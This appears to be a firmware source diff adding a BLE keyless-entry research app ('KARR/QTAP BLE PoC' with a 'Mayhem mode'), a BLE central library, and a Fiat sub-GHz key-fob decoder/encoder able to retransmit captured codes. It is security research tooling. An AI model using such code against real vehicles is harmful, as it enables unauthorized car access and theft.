memset(dev->address, 0, sizeof(dev->address));
dev->rssi = 0;
submenu_add_item(
app->submenu,
dev->name,
app->device_count,
karr_poc_scene_scan_submenu_callback,
app);
app->device_count++;
}
}
}
void karr_poc_scene_scan_on_enter(void* context) {
KarrPocApp* app = context;
app->device_count = 0;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "Scanning...");
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
karr_ble_scan_start(karr_poc_scene_scan_ble_callback, app);
submenu_set_header(app->submenu, "Units found:");
}
bool karr_poc_scene_scan_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
uint32_t index = event.event;
if(index < app->device_count) {
app->selected_device = index;
scene_manager_next_scene(app->scene_manager, KarrPocScene_DeviceMenu);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_scan_on_exit(void* context) {
KarrPocApp* app = context;
karr_ble_scan_stop();
submenu_reset(app->submenu);
}
@@ -0,0 +1,68 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
typedef enum {
KarrPocStartIndex_Scan,
KarrPocStartIndex_Mayhem,
KarrPocStartIndex_About,
} KarrPocStartIndex;
static void karr_poc_scene_start_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_start_on_enter(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "KARR BLE PoC");
submenu_add_item(
app->submenu, "Scan for units", KarrPocStartIndex_Scan, karr_poc_scene_start_submenu_callback, app);
submenu_add_item(
app->submenu, "Mayhem mode", KarrPocStartIndex_Mayhem, karr_poc_scene_start_submenu_callback, app);
submenu_add_item(
app->submenu, "About", KarrPocStartIndex_About, karr_poc_scene_start_submenu_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_start_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocStartIndex_Scan) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Scan);
consumed = true;
} else if(event.event == KarrPocStartIndex_Mayhem) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemMenu);
consumed = true;
} else if(event.event == KarrPocStartIndex_About) {
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget,
0,
0,
128,
64,
"KARR/QTAP BLE PoC\n\n"
"BLE remote keyless system\n"
"research project.\n\n"
"Protocol and cryptography\n"
"analysis of the KARR/QTAP\n"
"automotive system.\n\n"
"See project documentation\n"
"for technical details.");
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_start_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
+3 -3
View File
@@ -27,9 +27,9 @@ COPRO_CUBE_VERSION = "1.20.0"
COPRO_CUBE_DIR = "lib/stm32wb_copro"
# Default radio stack
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
# Firmware also supports "ble_full", but it might not fit into debug builds
COPRO_STACK_TYPE = "ble_light"
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_full_fw.bin"
# Firmware also supports "ble_light", but it might not fit into debug builds
COPRO_STACK_TYPE = "ble_full"
# Leave 0 to let scripts automatically calculate it
COPRO_STACK_ADDR = "0x0"
+1
View File
@@ -41,6 +41,7 @@ libs = env.BuildModules(
"update_util",
"heatshrink",
"ble_profile",
"ble_central",
"bit_lib",
"datetime",
"ieee754_parse_wrap",
+25
View File
@@ -0,0 +1,25 @@
Import("env")
env.Append(
CPPPATH=[
"#/lib/ble_central",
],
SDK_HEADERS=[
File("ble_central.h"),
],
)
libenv = env.Clone(FW_LIB_NAME="ble_central")
libenv.AppendUnique(
CCFLAGS=[
"-mword-relocations",
"-mlong-calls",
],
)
libenv.ApplyLibFlags()
sources = libenv.GlobRecursive("*.c")
lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
libenv.Install("${LIB_DIST_DIR}", lib)
Return("lib")
+18
View File
@@ -0,0 +1,18 @@
#pragma once
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
uint8_t aci_gap_start_general_discovery_proc(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Own_Address_Type, uint8_t Filter_Duplicates);
uint8_t aci_gap_terminate_gap_proc(uint8_t Procedure_Code);
uint8_t aci_gap_create_connection(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Peer_Address_Type, const uint8_t* Peer_Address, uint8_t Own_Address_Type, uint16_t Conn_Interval_Min, uint16_t Conn_Interval_Max, uint16_t Conn_Latency, uint16_t Supervision_Timeout, uint16_t Minimum_CE_Length, uint16_t Maximum_CE_Length);
uint8_t hci_disconnect(uint16_t Connection_Handle, uint8_t Reason);
uint8_t aci_gatt_disc_all_primary_services(uint16_t Connection_Handle);
uint8_t aci_gatt_write_char_value(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
uint8_t aci_gatt_write_without_resp(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
#ifdef __cplusplus
}
#endif
+357
View File
@@ -0,0 +1,357 @@
#include "ble_central.h"
#include <ble/ble.h>
#include <ble_glue.h>
#include <furi_ble/event_dispatcher.h>
#include <interface/patterns/ble_thread/tl/hci_tl.h>
#include <furi.h>
#define TAG "BleCentral"
#define BLE_CENTRAL_SCAN_INTERVAL 0x100
#define BLE_CENTRAL_SCAN_WINDOW 0x50
typedef struct {
BleCentralEventCallback callback;
void* context;
GapSvcEventHandler* handler_ref;
uint16_t connection_handle;
bool connected;
bool scanning;
} BleCentral;
static BleCentral* ble_central = NULL;
static const char* ble_central_status_str(uint8_t status) {
switch(status) {
case 0x00: return "SUCCESS";
case 0x01: return "UNKNOWN_HCI_CMD";
case 0x02: return "UNKNOWN_CONN_ID";
case 0x03: return "HW_FAILURE";
case 0x04: return "PAGE_TIMEOUT";
case 0x05: return "AUTH_FAILURE";
case 0x06: return "PIN_MISSING";
case 0x07: return "MEM_CAP_EXCEEDED";
case 0x08: return "CONN_TIMEOUT";
case 0x09: return "CONN_LIMIT_EXCEEDED";
case 0x0A: return "SYNC_CONN_LIMIT_EXCEEDED";
case 0x0B: return "ACL_CONN_ALREADY_EXISTS";
case 0x0C: return "CMD_DISALLOWED";
case 0x0D: return "CONN_REJ_LIMITED_RESOURCES";
case 0x0E: return "CONN_REJ_SECURITY_REASONS";
case 0x0F: return "CONN_REJ_UNACCEPTABLE_BDADDR";
case 0x10: return "CONN_ACCEPT_TIMEOUT";
case 0x11: return "UNSUPPORTED_FEATURE";
case 0x12: return "INVALID_HCI_CMD_PARAMS";
case 0x13: return "REMOTE_USER_TERM_CONN";
case 0x14: return "REMOTE_DEV_TERM_CONN_LOW_RESOURCES";
case 0x15: return "REMOTE_DEV_TERM_CONN_POWER_OFF";
case 0x16: return "CONN_TERM_BY_LOCAL_HOST";
case 0x92: return "INVALID_PARAMS";
case 0x97: return "ERROR";
default: return "UNKNOWN";
}
}
static BleCentralAdvertisedDevice* ble_central_parse_advert_report(void* data) {
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)data)->data);
if(event_pckt->evt != HCI_LE_META_EVT_CODE) return NULL;
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
if(meta_evt->subevent != HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) return NULL;
hci_le_advertising_report_event_rp0* adv_rpt =
(hci_le_advertising_report_event_rp0*)meta_evt->data;
if(adv_rpt->Num_Reports == 0) return NULL;
uint8_t data_len = adv_rpt->Advertising_Report[0].Length_Data;
uint8_t* data_ptr = &adv_rpt->Advertising_Report[0].Length_Data + 1;
int8_t rssi = *(int8_t*)(data_ptr + data_len);
BleCentralAdvertisedDevice* device = malloc(sizeof(BleCentralAdvertisedDevice));
device->address_type = adv_rpt->Advertising_Report[0].Address_Type;
memcpy(device->address, adv_rpt->Advertising_Report[0].Address, 6);
device->rssi = rssi;
device->name[0] = '\0';
uint8_t pos = 0;
while(pos < data_len) {
uint8_t field_len = data_ptr[pos];
if(field_len == 0) break;
uint8_t field_type = data_ptr[pos + 1];
if(field_type == AD_TYPE_COMPLETE_LOCAL_NAME ||
field_type == AD_TYPE_SHORTENED_LOCAL_NAME) {
uint8_t name_len = field_len - 1;
if(name_len > 31) name_len = 31;
memcpy(device->name, &data_ptr[pos + 2], name_len);
device->name[name_len] = '\0';
break;
}
pos += field_len + 1;
}
return device;
}
static BleEventAckStatus ble_central_event_handler(void* event, void* context) {
UNUSED(context);
if(!ble_central || !ble_central->callback) return BleEventNotAck;
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data);
FURI_LOG_I(TAG, "HCI event: evt=0x%02X", event_pckt->evt);
if(event_pckt->evt == HCI_LE_META_EVT_CODE) {
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
FURI_LOG_I(TAG, "LE Meta event: subevent=0x%02X", meta_evt->subevent);
if(meta_evt->subevent == HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) {
BleCentralAdvertisedDevice* device = ble_central_parse_advert_report(event);
if(device) {
FURI_LOG_I(TAG, "Device found: %s [%02X:%02X:%02X:%02X:%02X:%02X] rssi=%d",
device->name,
device->address[0], device->address[1], device->address[2],
device->address[3], device->address[4], device->address[5],
device->rssi);
ble_central->callback(BleCentralEventDeviceFound, device, ble_central->context);
free(device);
return BleEventAckFlowEnable;
}
}
return BleEventNotAck;
}
if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) {
evt_blecore_aci* blue_evt = (evt_blecore_aci*)event_pckt->data;
FURI_LOG_I(TAG, "Vendor event: ecode=0x%04X", blue_evt->ecode);
if(blue_evt->ecode == ACI_GAP_PROC_COMPLETE_VSEVT_CODE) {
FURI_LOG_I(TAG, "GAP procedure complete");
ble_central->scanning = false;
ble_central->callback(BleCentralEventGattProcComplete, NULL, ble_central->context);
return BleEventAckFlowEnable;
}
return BleEventNotAck;
}
if(event_pckt->evt == HCI_DISCONNECTION_COMPLETE_EVT_CODE) {
FURI_LOG_W(TAG, "Disconnection complete (handle=0x%04X)", ble_central->connection_handle);
ble_central->connected = false;
ble_central->connection_handle = 0;
ble_central->callback(BleCentralEventDisconnected, NULL, ble_central->context);
return BleEventAckFlowEnable;
}
return BleEventNotAck;
}
static void ble_central_free(void) {
if(!ble_central) return;
if(ble_central->handler_ref) {
ble_event_dispatcher_unregister_svc_handler(ble_central->handler_ref);
}
free(ble_central);
ble_central = NULL;
}
bool ble_central_scan_start(BleCentralEventCallback callback, void* context) {
furi_check(callback != NULL);
furi_check(context != NULL);
if(ble_central) {
FURI_LOG_W(TAG, "scan_start: already initialized, cleaning up previous instance");
ble_central_free();
}
FURI_LOG_I(TAG, "ble_central_scan_start: callback=%p ctx=%p", callback, context);
ble_central = malloc(sizeof(BleCentral));
ble_central->callback = callback;
ble_central->context = context;
ble_central->connected = false;
ble_central->connection_handle = 0;
ble_central->scanning = false;
ble_central->handler_ref =
ble_event_dispatcher_register_svc_handler(ble_central_event_handler, ble_central);
if(!ble_central->handler_ref) {
FURI_LOG_E(TAG, "ble_event_dispatcher_register_svc_handler FAILED");
ble_central_free();
return false;
}
FURI_LOG_I(TAG, "Event handler registered: %p", ble_central->handler_ref);
FURI_LOG_I(TAG,
"Calling aci_gap_start_general_discovery_proc(interval=0x%04X, window=0x%04X, addr_type=0x%02X, filter=0x%02X)",
BLE_CENTRAL_SCAN_INTERVAL, BLE_CENTRAL_SCAN_WINDOW, 0x00, 0x00);
tBleStatus status = aci_gap_start_general_discovery_proc(
BLE_CENTRAL_SCAN_INTERVAL,
BLE_CENTRAL_SCAN_WINDOW,
0x00,
0x00);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gap_start_general_discovery_proc FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
ble_central_free();
return false;
}
ble_central->scanning = true;
FURI_LOG_I(TAG, "Scan started successfully");
return true;
}
bool ble_central_scan_stop(void) {
if(!ble_central) {
FURI_LOG_W(TAG, "scan_stop: not initialized");
return false;
}
if(ble_central->scanning) {
FURI_LOG_I(TAG, "Stopping scan (terminating GAP discovery proc)");
tBleStatus status = aci_gap_terminate_gap_proc(GAP_GENERAL_DISCOVERY_PROC);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_W(TAG, "aci_gap_terminate_gap_proc returned 0x%02X (%s) — may have already completed",
status, ble_central_status_str(status));
}
ble_central->scanning = false;
} else {
FURI_LOG_I(TAG, "scan_stop: GAP proc already completed, cleaning up");
}
ble_central_free();
FURI_LOG_I(TAG, "Scan stopped");
return true;
}
bool ble_central_connect(const uint8_t* address, uint8_t address_type) {
if(!ble_central) {
FURI_LOG_E(TAG, "connect: ble_central is NULL (not initialized)");
return false;
}
if(ble_central->connected) {
FURI_LOG_W(TAG, "connect: already connected (handle=0x%04X)", ble_central->connection_handle);
return false;
}
FURI_LOG_I(TAG, "Connecting to %02X:%02X:%02X:%02X:%02X:%02X type=%d",
address[0], address[1], address[2], address[3], address[4], address[5], address_type);
tBleStatus status = aci_gap_create_connection(
0x100, 0x50,
address_type,
address,
0x00,
0x28, 0x38,
0x00, 0x100,
0x0010, 0x0010);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gap_create_connection FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
FURI_LOG_I(TAG, "Connection initiated, waiting for HCI_LE_CONNECTION_COMPLETE");
return true;
}
bool ble_central_disconnect(void) {
if(!ble_central) {
FURI_LOG_E(TAG, "disconnect: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_W(TAG, "disconnect: not connected");
return false;
}
FURI_LOG_I(TAG, "Disconnecting handle=0x%04X reason=0x13", ble_central->connection_handle);
tBleStatus status = hci_disconnect(ble_central->connection_handle, 0x13);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "hci_disconnect FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
ble_central->connected = false;
ble_central->connection_handle = 0;
return true;
}
bool ble_central_discover_services(void) {
if(!ble_central) {
FURI_LOG_E(TAG, "discover_services: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "discover_services: not connected");
return false;
}
FURI_LOG_I(TAG, "Discovering primary services on handle=0x%04X",
ble_central->connection_handle);
tBleStatus status = aci_gatt_disc_all_primary_services(ble_central->connection_handle);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_disc_all_primary_services FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len) {
if(!ble_central) {
FURI_LOG_E(TAG, "write_command: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "write_command: not connected");
return false;
}
FURI_LOG_I(TAG, "Write without response: handle=0x%04X len=%u", handle, len);
tBleStatus status = aci_gatt_write_without_resp(
ble_central->connection_handle, handle, len, data);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_write_without_resp FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len) {
if(!ble_central) {
FURI_LOG_E(TAG, "write_request: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "write_request: not connected");
return false;
}
FURI_LOG_I(TAG, "Write with response: handle=0x%04X len=%u", handle, len);
tBleStatus status = aci_gatt_write_char_value(
ble_central->connection_handle, handle, len, data);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_write_char_value FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
uint16_t ble_central_get_connection_handle(void) {
if(!ble_central) return 0;
return ble_central->connection_handle;
}
bool ble_central_is_connected(void) {
if(!ble_central) return false;
return ble_central->connected;
}
+45
View File
@@ -0,0 +1,45 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
BleCentralEventDeviceFound,
BleCentralEventConnected,
BleCentralEventDisconnected,
BleCentralEventGattProcComplete,
BleCentralEventDataReceived,
} BleCentralEventType;
typedef struct {
uint8_t address[6];
uint8_t address_type;
char name[32];
int8_t rssi;
} BleCentralAdvertisedDevice;
typedef struct {
uint16_t handle;
uint8_t data[256];
uint16_t len;
} BleCentralGattData;
typedef void (*BleCentralEventCallback)(BleCentralEventType event, void* data, void* context);
bool ble_central_scan_start(BleCentralEventCallback callback, void* context);
bool ble_central_scan_stop(void);
bool ble_central_connect(const uint8_t* address, uint8_t address_type);
bool ble_central_disconnect(void);
bool ble_central_discover_services(void);
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len);
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len);
uint16_t ble_central_get_connection_handle(void);
bool ble_central_is_connected(void);
#ifdef __cplusplus
}
#endif
File diff suppressed because it is too large Load Diff
+582
View File
@@ -0,0 +1,582 @@
#include "fiat_v0.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/toolbox/manchester_decoder.h>
#define TAG "FiatProtocolV0"
#define FIAT_V0_PREAMBLE_PAIRS 150
#define FIAT_V0_GAP_US 800
#define FIAT_V0_TOTAL_BURSTS 3
#define FIAT_V0_INTER_BURST_GAP 25000
#define FIAT_V0_UPLOAD_CAPACITY 1328U
static const SubGhzBlockConst subghz_protocol_fiat_v0_const = {
.te_short = 200,
.te_long = 400,
.te_delta = 100,
.min_count_bit_for_found = 64,
};
struct SubGhzProtocolDecoderFiatV0 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
ManchesterState manchester_state;
uint16_t preamble_count;
uint32_t data_low;
uint32_t data_high;
uint8_t bit_count;
uint32_t hop;
uint32_t fix;
uint8_t endbyte;
};
typedef enum {
FiatV0DecoderStepReset = 0,
FiatV0DecoderStepPreamble = 1,
FiatV0DecoderStepData = 2,
} FiatV0DecoderStep;
static void fiat_v0_finish_packet(struct SubGhzProtocolDecoderFiatV0* instance) {
instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
instance->generic.data_count_bit = 71;
instance->generic.serial = instance->fix;
instance->generic.btn = instance->endbyte;
instance->generic.cnt = instance->hop;
instance->decoder.decode_data = instance->generic.data;
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
if(instance->base.callback) instance->base.callback(&instance->base, instance->base.context);
instance->data_low = 0;
instance->data_high = 0;
instance->bit_count = 0;
instance->decoder.parser_step = FiatV0DecoderStepReset;
}
struct SubGhzProtocolEncoderFiatV0 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
uint32_t hop;
uint32_t fix;
uint8_t endbyte;
};
static void subghz_protocol_decoder_fiat_v0_free(void* context) {
furi_assert(context);
free(context);
}
const SubGhzProtocolDecoder subghz_protocol_fiat_v0_decoder = {
.alloc = subghz_protocol_decoder_fiat_v0_alloc,
.free = subghz_protocol_decoder_fiat_v0_free,
.feed = subghz_protocol_decoder_fiat_v0_feed,
.reset = subghz_protocol_decoder_fiat_v0_reset,
.get_hash_data = subghz_protocol_decoder_fiat_v0_get_hash_data,
.serialize = subghz_protocol_decoder_fiat_v0_serialize,
.deserialize = subghz_protocol_decoder_fiat_v0_deserialize,
.get_string = subghz_protocol_decoder_fiat_v0_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_fiat_v0_encoder = {
.alloc = subghz_protocol_encoder_fiat_v0_alloc,
.free = subghz_protocol_encoder_fiat_v0_free,
.deserialize = subghz_protocol_encoder_fiat_v0_deserialize,
.stop = subghz_protocol_encoder_fiat_v0_stop,
.yield = subghz_protocol_encoder_fiat_v0_yield,
};
const SubGhzProtocol fiat_protocol_v0 = {
.name = FIAT_PROTOCOL_V0_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_fiat_v0_decoder,
.encoder = &subghz_protocol_fiat_v0_encoder,
};
// ============================================================================
// ENCODER IMPLEMENTATION
// ============================================================================
void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatV0));
furi_check(instance);
instance->base.protocol = &fiat_protocol_v0;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 10;
instance->encoder.size_upload = 0;
instance->encoder.upload = NULL;
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_fiat_v0_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV0* instance = context;
free(instance->encoder.upload);
free(instance);
}
static void subghz_protocol_encoder_fiat_v0_get_upload(SubGhzProtocolEncoderFiatV0* instance) {
furi_check(instance);
LevelDuration* up = instance->encoder.upload;
if(up == NULL) return;
size_t index = 0;
uint32_t te_short = subghz_protocol_fiat_v0_const.te_short;
uint32_t te_long = subghz_protocol_fiat_v0_const.te_long;
uint64_t data = ((uint64_t)instance->hop << 32) | instance->fix;
uint8_t endbyte_to_send = instance->endbyte >> 1;
for(uint8_t burst = 0; burst < FIAT_V0_TOTAL_BURSTS; burst++) {
if(burst > 0) {
up[index++] = level_duration_make(false, FIAT_V0_INTER_BURST_GAP);
}
for(int i = 0; i < FIAT_V0_PREAMBLE_PAIRS; i++) {
up[index++] = level_duration_make(true, te_short);
up[index++] = level_duration_make(false, te_short);
}
if(index > 0) up[index - 1] = level_duration_make(false, FIAT_V0_GAP_US);
bool first_bit = (data >> 63) & 1;
if(first_bit) {
up[index++] = level_duration_make(true, te_long);
} else {
up[index++] = level_duration_make(true, te_short);
up[index++] = level_duration_make(false, te_long);
}
bool prev_bit = first_bit;
for(int bit = 62; bit >= 0; bit--) {
bool curr_bit = (data >> bit) & 1;
if(!prev_bit && !curr_bit) {
up[index++] = level_duration_make(true, te_short);
up[index++] = level_duration_make(false, te_short);
} else if(!prev_bit && curr_bit) {
up[index++] = level_duration_make(true, te_long);
} else if(prev_bit && !curr_bit) {
up[index++] = level_duration_make(false, te_long);
} else {
up[index++] = level_duration_make(false, te_short);
up[index++] = level_duration_make(true, te_short);
}
prev_bit = curr_bit;
}
for(int bit = 5; bit >= 0; bit--) {
bool curr_bit = (endbyte_to_send >> bit) & 1;
if(!prev_bit && !curr_bit) {
up[index++] = level_duration_make(true, te_short);
up[index++] = level_duration_make(false, te_short);
} else if(!prev_bit && curr_bit) {
up[index++] = level_duration_make(true, te_long);
} else if(prev_bit && !curr_bit) {
up[index++] = level_duration_make(false, te_long);
} else {
up[index++] = level_duration_make(false, te_short);
up[index++] = level_duration_make(true, te_short);
}
prev_bit = curr_bit;
}
if(prev_bit) {
up[index++] = level_duration_make(false, te_short);
}
up[index++] = level_duration_make(false, te_short * 8);
}
instance->encoder.size_upload = index;
instance->encoder.front = 0;
}
SubGhzProtocolStatus
subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderFiatV0* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
do {
flipper_format_rewind(flipper_format);
uint32_t temp_data = 0;
if(!flipper_format_read_uint32(flipper_format, "Bit", &temp_data, 1)) {
break;
}
if(temp_data != 64 && temp_data != 71) {
break;
}
instance->generic.data_count_bit = temp_data;
flipper_format_rewind(flipper_format);
uint8_t key_bytes[8];
if(!flipper_format_read_hex(flipper_format, "Key", key_bytes, 8)) {
break;
}
uint64_t key = 0;
for(int i = 0; i < 8; i++) {
key = (key << 8) | key_bytes[i];
}
instance->generic.data = key;
instance->hop = (uint32_t)(key >> 32);
instance->fix = (uint32_t)(key & 0xFFFFFFFFU);
uint32_t eb_read = 0;
flipper_format_rewind(flipper_format);
bool have_endbyte = flipper_format_read_uint32(flipper_format, "EndByte", &eb_read, 1);
flipper_format_rewind(flipper_format);
uint32_t btn_u32 = 0;
flipper_format_read_uint32(flipper_format, "Btn", &btn_u32, 1);
if(have_endbyte) {
instance->endbyte = (uint8_t)(eb_read & 0x7FU);
} else {
instance->endbyte = (uint8_t)(btn_u32 & 0x7FU);
}
instance->generic.btn = instance->endbyte;
instance->generic.cnt = instance->hop;
instance->generic.serial = instance->fix;
flipper_format_rewind(flipper_format);
uint32_t repeat = 10;
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
instance->encoder.repeat = repeat;
instance->encoder.upload = malloc(FIAT_V0_UPLOAD_CAPACITY * sizeof(LevelDuration));
subghz_protocol_encoder_fiat_v0_get_upload(instance);
instance->encoder.is_running = true;
return SubGhzProtocolStatusOk;
} while(false);
return SubGhzProtocolStatusError;
}
void subghz_protocol_encoder_fiat_v0_stop(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV0* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
}
LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV0* instance = context;
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
instance->encoder.size_upload == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
// ============================================================================
// DECODER IMPLEMENTATION
// ============================================================================
void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV0));
furi_check(instance);
instance->base.protocol = &fiat_protocol_v0;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_fiat_v0_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
instance->decoder.parser_step = FiatV0DecoderStepReset;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->preamble_count = 0;
instance->data_low = 0;
instance->data_high = 0;
instance->bit_count = 0;
instance->hop = 0;
instance->fix = 0;
instance->endbyte = 0;
instance->manchester_state = ManchesterStateMid1;
}
void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
uint32_t te_short = (uint32_t)subghz_protocol_fiat_v0_const.te_short;
uint32_t te_long = (uint32_t)subghz_protocol_fiat_v0_const.te_long;
uint32_t te_delta = (uint32_t)subghz_protocol_fiat_v0_const.te_delta;
uint32_t gap_threshold = FIAT_V0_GAP_US;
uint32_t diff;
switch(instance->decoder.parser_step) {
case FiatV0DecoderStepReset:
if(!level) return;
if(duration < te_short) {
diff = te_short - duration;
} else {
diff = duration - te_short;
}
if(diff < te_delta) {
instance->data_low = 0;
instance->data_high = 0;
instance->decoder.parser_step = FiatV0DecoderStepPreamble;
instance->preamble_count = 0;
instance->bit_count = 0;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
}
break;
case FiatV0DecoderStepPreamble:
if(level) {
if(duration < te_short) {
diff = te_short - duration;
} else {
diff = duration - te_short;
}
if(diff < te_delta) {
instance->preamble_count++;
} else {
instance->decoder.parser_step = FiatV0DecoderStepReset;
}
return;
}
if(duration < te_short) {
diff = te_short - duration;
} else {
diff = duration - te_short;
}
if(diff < te_delta) {
instance->preamble_count++;
} else {
if(instance->preamble_count >= FIAT_V0_PREAMBLE_PAIRS) {
if(duration < gap_threshold) {
diff = gap_threshold - duration;
} else {
diff = duration - gap_threshold;
}
if(diff < te_delta) {
instance->decoder.parser_step = FiatV0DecoderStepData;
instance->preamble_count = 0;
instance->data_low = 0;
instance->data_high = 0;
instance->bit_count = 0;
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
return;
}
}
instance->decoder.parser_step = FiatV0DecoderStepReset;
}
if(instance->preamble_count >= FIAT_V0_PREAMBLE_PAIRS &&
instance->decoder.parser_step == FiatV0DecoderStepPreamble) {
if(duration < gap_threshold) {
diff = gap_threshold - duration;
} else {
diff = duration - gap_threshold;
}
if(diff < te_delta) {
instance->decoder.parser_step = FiatV0DecoderStepData;
instance->preamble_count = 0;
instance->data_low = 0;
instance->data_high = 0;
instance->bit_count = 0;
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
return;
}
}
break;
case FiatV0DecoderStepData: {
ManchesterEvent event = ManchesterEventReset;
if(duration < te_short) {
diff = te_short - duration;
if(diff < te_delta) {
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
}
} else {
diff = duration - te_short;
if(diff < te_delta) {
